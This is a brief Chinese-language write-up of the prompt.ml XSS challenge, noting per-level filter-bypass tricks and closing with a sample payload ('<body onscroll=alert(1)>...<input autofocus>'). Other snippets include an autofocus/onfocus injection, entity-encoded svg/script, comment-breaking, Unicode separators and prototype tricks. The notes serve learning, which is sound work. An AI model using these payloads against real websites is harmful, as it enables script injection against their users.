xss's writeup :http://prompt.ml/0
solution:https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml

总结一下:

常规思路就略了~

level0 "onfocus=prompt(1) aotufocus " bypass < ,>

level1some htmltag video ,audio,.....

level2< svg>< script>prompt& #40;1) 通杀很爽,ps:svg下标签xml会先解析 ES6 code -> mark!!

level3--!> == --> mark!

level4url shecme://user:password@*

level5\n,\t,\r, 有时候可以绕过.+?正则

level6ducoment.from[0].name name为子标签id还是from的attr ,冲突以子标签的id优先~

level7multi /* */ “ <!--都可以 引号打破边界

level8Line Separator - U+2028,Paragraph Separator - U+2029 -> \n

level9 unicode-> toupper 无用的字符有时候能转换为有用的字符 fuzzing可以尝试一下

level10正则的绕过

level11把alert()进函数栈 会先执行alert()在回调callback in也是这样一个函数 callback(alert(xss)) note:callback is not a function:

level12

level13for((i)in(self))eval(i)(1) 人才

level14__proto__ property of Object.prototype 找不到属性,就调用这个方法,可以绕过制定特殊属性的限制 将它也构造一个你需要的类的在里面 replace replace details

level15data ? 应该挺有意思

level16注释的威力,multi

level17js重写函数以后面的为准,function prototype要多积累

level18@cc_on 注释框 11explore不行

level19json callback hijacking

level18Fun in past 猜想可能是执行的时候拼接类,导致两个类,后一个类成功溢出执行l

end:

也许这种xss利用方法实际很难碰到,不过它意在一种思想,一种思路,不断bypass ,不断发现,就是如此。

附上一个又意思的东西

<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>